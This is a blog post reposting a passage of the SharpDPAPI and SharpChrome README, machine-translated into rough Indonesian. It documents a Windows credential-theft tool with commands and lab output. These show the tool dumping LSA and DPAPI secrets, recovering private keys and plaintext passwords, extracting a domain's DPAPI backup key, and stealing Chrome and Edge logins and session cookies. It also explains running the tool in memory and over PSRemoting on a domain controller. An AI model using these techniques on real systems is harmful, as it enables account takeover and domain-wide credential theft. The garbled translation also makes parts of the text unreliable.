v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)

[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-- ---BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triase

The triase perintah menjalankan pengguna kredensial , kubah , RDG , dan sertifikat perintah.


Tombol mesin Triase

mesin

The machinemasterkeys perintah akan diangkat ke SYSTEM untuk mengambil rahasia DPAPI_SYSTEM LSA yang kemudian digunakan untuk mendekripsi setiap berhasil ditemukan masterkeys mesin DPAPI. Ini akan mengembalikan satu set kunci master {GUID}: pemetaan SHA1.

Diperlukan hak administratif lokal (agar kami dapat mengambil rahasia DPAPI_SYSTEM LSA).

C:\Temp>SharpDPAPI.exe machinemasterkeys

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

mesin

The machinecredentials perintah akan diangkat ke SYSTEM untuk mengambil rahasia DPAPI_SYSTEM LSA yang kemudian digunakan untuk mendekripsi setiap berhasil ditemukan masterkeys mesin DPAPI. Kunci ini kemudian digunakan untuk mendekripsi file Kredensial mesin yang ditemukan.

Diperlukan hak administratif lokal (agar kami dapat mengambil rahasia DPAPI_SYSTEM LSA).

C:\Temp>SharpDPAPI.exe machinecredentials

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

CredFile : C73A55F92FAE222C18A8989FEA28A1FE

guid MasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data

LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!


Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D

...(snip)...

kerusakan mesin

The machinevaults perintah akan diangkat ke SYSTEM untuk mengambil rahasia DPAPI_SYSTEM LSA yang kemudian digunakan untuk mendekripsi setiap berhasil ditemukan masterkeys mesin DPAPI. Kunci ini kemudian digunakan untuk mendekripsi setiap Vault mesin yang ditemukan.

Diperlukan hak administratif lokal (agar kami dapat mengambil rahasia DPAPI_SYSTEM LSA).

C:\Temp>SharpDPAPI.exe machinevaults

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b38 0-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

sertifikat / mesin

The sertifikat / mesin perintah akan menggunakan mesin toko sertifikat untuk mencari kunci pribadi decryptable sertifikat mesin. /mkfile:Xdan {GUID}:masterkeydapat digunakan dengan /target:\[file|folder\]perintah tersebut, jika tidak SharpDPAPI akan naik ke SYSTEM untuk mengambil rahasia DPAPI_SYSTEM LSA yang kemudian digunakan untuk mendekripsi setiap masterkey DPAPI mesin yang ditemukan. Kunci-kunci ini kemudian digunakan untuk mendekripsi semua kunci sertifikat pribadi DPAPI terenkripsi sistem mesin yang ditemukan.

Secara default, hanya kunci pribadi yang dapat ditautkan ke sertifikat terinstal terkait yang ditampilkan. The /showallperintah akan menampilkan semua didekripsi kunci pribadi.

Diperlukan hak administratif lokal (agar kami dapat mengambil rahasia DPAPI_SYSTEM LSA).

C:\Temp>SharpDPAPI.exe certificates /machine

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1 -8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)

[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737b a66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

mesin

The machinetriage perintah menjalankan pengguna machinecredentials , machinevaults , dan sertifikat / mesin perintah.


Lain-lain

ps

The ps perintah akan menggambarkan / mendekripsi clixml PSCredential diekspor. /target:FILE.xml harus disediakan.

Perintah ini akan a) mendekripsi file dengan kunci master "{GUID}: SHA1" apa pun yang diteruskan, b) /mkfile:FILEsalah satu atau beberapa {GUID}: pemetaan kunci master SHA1, c) menggunakan kunci cadangan domain DPAPI yang disediakan ( /pvk:BASE64...atau /pvk:key.pvk) untuk mendekripsi pertama kali sembarang kunci master pengguna (a la masterkeys ), atau d) a /password:Xuntuk mendekripsi kunci master pengguna mana pun, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

The /unprotectbendera akan menggunakan CryptUnprotectData () untuk mendekripsi xml credenial tanpa masterkeys diperlukan, jika perintah dijalankan dari pengguna konteks yang menyelamatkan password. Hal ini dapat dilakukan dari unprivileged konteks, tanpa perlu menyentuh LSASS. Untuk alasan mengapa pendekatan ini tidak digunakan untuk kredensial / brankas, lihat dokumentasi Benjamin di sini .

Mendekripsi kredensial yang diekspor .xml menggunakan CryptProtectData () ( /unprotectbendera):

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

Menggunakan domain {GUID}: pemetaan kunci master SHA1:

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TES TLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

Menggunakan kunci cadangan DPAPI domain untuk pertama-tama mendekripsi kunci master apa pun yang dapat ditemukan:

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

gumpal

The gumpalan perintah akan menggambarkan / mendekripsi gumpalan DPAPI. /target:<BASE64|blob.bin> harus disediakan.

Perintah ini akan a) mendekripsi blob dengan kunci master "{GUID}: SHA1" apa pun yang diteruskan, b) /mkfile:FILEsalah satu atau beberapa {GUID}: pemetaan kunci master SHA1, c) menggunakan kunci cadangan domain DPAPI yang disediakan ( /pvk:BASE64...atau /pvk:key.pvk) untuk mendekripsi pertama kali sembarang kunci master pengguna (a la masterkeys ), atau d) a /password:Xuntuk mendekripsi kunci master pengguna mana pun, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

The /unprotectbendera akan menggunakan CryptUnprotectData () untuk mendekripsi gumpalan tanpa masterkeys diperlukan, jika perintah dijalankan dari pengguna konteks yang menyelamatkan password. Hal ini dapat dilakukan dari unprivileged konteks, tanpa perlu menyentuh LSASS. Untuk alasan mengapa pendekatan ini tidak digunakan untuk kredensial / brankas, lihat dokumentasi Benjamin di sini .

Mendekripsi blob menggunakan CryptProtectData () ( /unprotectbendera):

C: \ Temp> SharpDPAPI.exe blob /target:C:\Temp\blob.bin / buka proteksi

  __                 _   _       _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!

Menggunakan domain {GUID}: pemetaan kunci master SHA1:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Menggunakan kunci cadangan DPAPI domain untuk pertama-tama mendekripsi kunci master apa pun yang dapat ditemukan:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

kunci cadangan

The backupkey perintah akan mengambil kunci cadangan domain DPAPI dari kontroler domain menggunakan LsaRetrievePrivateData pendekatan API dari Mimikatz . Kunci pribadi ini kemudian dapat digunakan untuk mendekripsi gumpalan kunci master untuk semua pengguna di domain. Dan bahkan lebih baik lagi, kuncinya tidak pernah berubah;)

Hak admin domain (atau yang setara) diperlukan untuk mengambil kunci dari kontroler domain jarak jauh.

The /nowrapbendera akan mencegah membungkus kunci base64 pada layar.

Blob kunci base64 ini dapat didekodekan menjadi file .pvk biner yang kemudian dapat digunakan dengan Mimikatz ' dpapi :: masterkey / in: MASTERKEY /pvk:backupkey.pvk , atau digunakan dalam modul blob / file / pvk: X dengan masterkeys , kredensial , atau vault SharpDPAPI perintah.

Secara default, SharpDPAPI akan mencoba untuk menentukan pengontrol domain saat ini melalui panggilan API DsGetDcName . Sebuah server dapat ditentukan dengan /server:COMPUTER.domain.comJika Anda ingin kunci disimpan ke disk alih-alih keluaran sebagai blob base64, gunakan /file:key.pvk.

Ambil kunci cadangan DPAPI untuk pengontrol domain saat ini:

C:\Temp>SharpDPAPI.exe backupkey

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using current domain controller : PRIMARY.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Ambil kunci cadangan DPAPI untuk DC yang ditentukan, dengan mengeluarkan kunci cadangan ke sebuah file:

C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using server : primary.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to : key.pvk

Cari

The pencari perintah akan mencari potensi gumpalan DPAPI di registry, file, folder, dan gumpalan base64. Pemakaian:

SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors]
SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
SharpDPAPI.exe search /type:base64 [/base:<base64 string>]

The searchperintah bekerja dengan mencari byte berikut, yang mewakili header (Version + DPAPI penyedia GUID) struktur gumpalan DPAPI:

0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

Perintah pencarian memiliki argumen yang berbeda tergantung pada tipe data yang dipindai. Untuk menentukan jenis data, menggunakan /typemenspesifikasikan argumen registryfolderfile, atau base64Jika /typeargumen tidak ada, perintah akan mencari registri secara default.

Saat mencari registri tanpa argumen lain, perintah akan secara rekursif mencari sarang HKEY_LOCAL_MACHINE dan HKEY_USERS. Gunakan /pathparameter untuk menentukan root ke kunci yang akan dicari (misalnya /path:HKLM\Software) dan gunakan /showErrorsargumen untuk menampilkan kesalahan yang terjadi selama pencacahan.

Saat mencari file atau folder, tentukan jalur dengan /path:C:\Path\to\file\or\folderdan secara opsional gunakan /maxBytes:<int>untuk menentukan jumlah byte yang akan dibaca dari setiap file (default: 1024 byte). Perintah akan membaca byte dari awal file dan mencari gumpalan DPAPI. Gunakan /showErrorsuntuk menampilkan kesalahan yang terjadi selama pencacahan.

Saat mencari blob base64, tentukan byte berenkode base64 untuk dipindai dengan /base64:<base64 str>parameter.


SharpChrome Perintah

login

The login perintah akan mencari file Chrome 'data Login' dan mendekripsi password login yang disimpan. Jika eksekusi dalam contect yang tidak relevan, CryptProtectData () secara otomatis akan digunakan untuk mencoba mendekripsi nilai. Jika /browser:edgeditentukan, browser Edge berbasis Chromium yang lebih baru akan diprioritaskan.

File Data Masuk juga dapat didekripsi dengan a) kunci master "{GUID}: SHA1 {GUID}: SHA1 ..." apa pun yang diteruskan, b) /mkfile:FILEsalah satu atau beberapa {GUID}: pemetaan kunci master SHA1, c) domain DPAPI yang disediakan kunci cadangan ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi kunci master pengguna, atau d) a /password:Xuntuk mendekripsi kunci master pengguna, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

File Data Login tertentu dapat ditentukan dengan /target:FILERemote /server:SERVERdapat ditentukan jika a /pvkjuga disediakan. Jika melakukan triase pada instance Chrome / Edge yang lebih baru, /statekey:Xkunci status AES dapat ditentukan.

Secara default, login ditampilkan dalam format csv. Ini dapat dimodifikasi dengan /format:tableuntuk keluaran tabel. Selain itu, secara default hanya entri nilai kata sandi bukan nol yang ditampilkan, tetapi semua nilai dapat ditampilkan dengan /showall.

Jika dijalankan dari konteks yang ditinggikan, file Data Login untuk SEMUA pengguna akan diprioritaskan, jika tidak, hanya file Data Login untuk pengguna saat ini yang akan diproses.


kue

The cookies perintah akan mencari file Chrome 'Cookies' dan nilai cookie mendekripsi. Jika eksekusi dalam contect yang tidak relevan, CryptProtectData () secara otomatis akan digunakan untuk mencoba mendekripsi nilai. Jika /browser:edgeditentukan, browser Edge berbasis Chromium yang lebih baru akan diprioritaskan.

File cookie juga dapat didekripsi dengan a) kunci master "{GUID}: SHA1 {GUID}: SHA1 ..." apa pun yang diteruskan, b) /mkfile:FILEsalah satu atau beberapa {GUID}: pemetaan kunci master SHA1, c) cadangan domain DPAPI yang disediakan key ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi setiap masterkey pengguna, atau d) a /password:Xuntuk mendekripsi setiap masterkey pengguna, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

File Cookie tertentu dapat ditentukan dengan /target:FILERemote /server:SERVERdapat ditentukan jika a /pvkjuga disediakan. Jika melakukan triase pada instance Chrome / Edge yang lebih baru, /statekey:Xkunci status AES dapat ditentukan.

Secara default, cookie ditampilkan dalam format csv. Ini dapat dimodifikasi dengan /format:tableuntuk keluaran tabel, atau /format:jsonuntuk keluaran yang dapat diimpor oleh EditThisCookie . Selain itu, secara default hanya entri nilai cookie yang tidak kedaluwarsa yang ditampilkan, tetapi semua nilai dapat ditampilkan dengan /showall.

Jika dijalankan dari konteks yang ditinggikan, file Cookie untuk SEMUA pengguna akan diprioritaskan, jika tidak, hanya file Cookie untuk pengguna saat ini yang akan diproses.

The cookies perintah juga memiliki /cookie:REGEXdan /url:REGEXargumen untuk hanya kembali nama cookie atau url yang cocok dengan regex disediakan. Ini berguna dengan /format:jsonuntuk dengan mudah mengkloning akses ke situs tertentu.


shipeys

The statekeys perintah akan mencari file statekey Chrome / Ujung AES (yaitu 'AppData \ Local \ Google \ Chrome \ User Data \ Local Negara' dan 'AppData \ Local \ Microsoft \ Ujung \ User Data \ Local Negara') dan mendekripsi mereka menggunakan jenis argumen yang sama yang dapat diberikan untuk cookiesdan logins.

Kunci negara juga dapat didekripsi dengan a) kunci master "{GUID}: SHA1 {GUID}: SHA1 ..." apa pun yang diteruskan, b) /mkfile:FILEsalah satu atau beberapa {GUID}: pemetaan kunci master SHA1, c) cadangan domain DPAPI yang disediakan key ( /pvk:BASE64...atau /pvk:key.pvk) untuk pertama-tama mendekripsi setiap masterkey pengguna, atau d) a /password:Xuntuk mendekripsi setiap masterkey pengguna, yang kemudian digunakan sebagai tabel dekripsi pencarian. Pemetaan DPAPI GUID dapat dipulihkan dengan sekurlsa::dpapiperintah Mimikatz .

Jika dijalankan dari konteks yang ditinggikan, kunci status untuk SEMUA pengguna akan diprioritaskan, jika tidak, hanya kunci status untuk pengguna saat ini yang akan diproses.


kunci cadangan

The backupkey perintah akan mengambil kunci cadangan domain DPAPI dari kontroler domain menggunakan LsaRetrievePrivateData pendekatan API dari Mimikatz . Kunci pribadi ini kemudian dapat digunakan untuk mendekripsi gumpalan kunci master untuk semua pengguna di domain. Dan bahkan lebih baik lagi, kuncinya tidak pernah berubah;)

Hak admin domain (atau yang setara) diperlukan untuk mengambil kunci dari kontroler domain jarak jauh.

The /nowrapbendera akan mencegah membungkus kunci base64 pada layar.

Blob kunci base64 ini dapat didekodekan menjadi file .pvk biner yang kemudian dapat digunakan dengan Mimikatz ' dpapi :: masterkey / in: MASTERKEY /pvk:backupkey.pvk , atau digunakan dalam modul blob / file / pvk: X dengan masterkeys , kredensial , atau vault SharpDPAPI perintah.

Secara default, SharpDPAPI akan mencoba untuk menentukan pengontrol domain saat ini melalui panggilan API DsGetDcName . Sebuah server dapat ditentukan dengan /server:COMPUTER.domain.comJika Anda ingin kunci disimpan ke disk alih-alih keluaran sebagai blob base64, gunakan /file:key.pvk.


Kompilasi Instruksi

Kami tidak berencana merilis binari untuk SharpDPAPI, jadi Anda harus mengkompilasi sendiri :)

SharpDPAPI dibuat dengan .NET 3.5 dan kompatibel dengan Visual Studio 2019 Community Edition . Cukup buka proyek .sln, pilih "Rilis", dan buat.


Menargetkan versi .NET lainnya

Konfigurasi build default SharpDPAPI adalah untuk .NET 3.5, yang akan gagal pada sistem tanpa menginstal versi tersebut. Untuk menargetkan SharpDPAPI untuk .NET 4 atau 4.5, buka solusi .sln , buka Project -> SharpDPAPI Properties dan ubah "Target framework" ke versi lain.


Catatan samping: Menjalankan SharpDPAPI Melalui PowerShell

Jika Anda ingin menjalankan SharpDPAPI dalam memori melalui pembungkus PowerShell, pertama-tama kompilasi SharpDPAPI dan encode base64 perakitan yang dihasilkan:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI kemudian dapat dimuat dalam skrip PowerShell dengan berikut ini (di mana "aa ..." diganti dengan string perakitan SharpDPAPI berenkode base64):

$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

Metode Main () dan argumen apa pun kemudian bisa dipanggil sebagai berikut:

[SharpDPAPI.Program]::Main("machinemasterkeys")

Catatan Sidenote: Menjalankan SharpDPAPI Melalui PSRemoting

Karena cara PSRemoting menangani keluaran, kita perlu mengarahkan stdout ke string dan mengembalikannya sebagai gantinya. Untungnya, SharpDPAPI memiliki fungsi untuk membantunya.

Jika Anda mengikuti instruksi di Sidenote: Menjalankan SharpDPAPI Melalui PowerShell untuk membuat SharpDPAPI.ps1, tambahkan sesuatu seperti berikut ini ke skrip:

[SharpDPAPI.Program]::MainString("machinemasterkeys")

Anda kemudian harus dapat menjalankan SharpDPAPI melalui PSRemoting dengan sesuatu seperti berikut:

$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternatifnya, /consoleoutfile:C:\FILE.txtargumen SharpDPAPI akan mengarahkan semua aliran keluaran ke file yang ditentukan.




Regards

Kang Asu

No comments:

Post a Comment

# Silahkan berkomentar, bertanya dan kritik dengan sopan
# Disini anda boleh menyisipkan Link di kolom komentar
# Tetapi akan saya moderasi atau Review terlebih dahulu tiap komentar
# Jangan sampai komentar anda mengandung SPAM.

# Terima Kasih - Regards Muhammad Sobri Maulana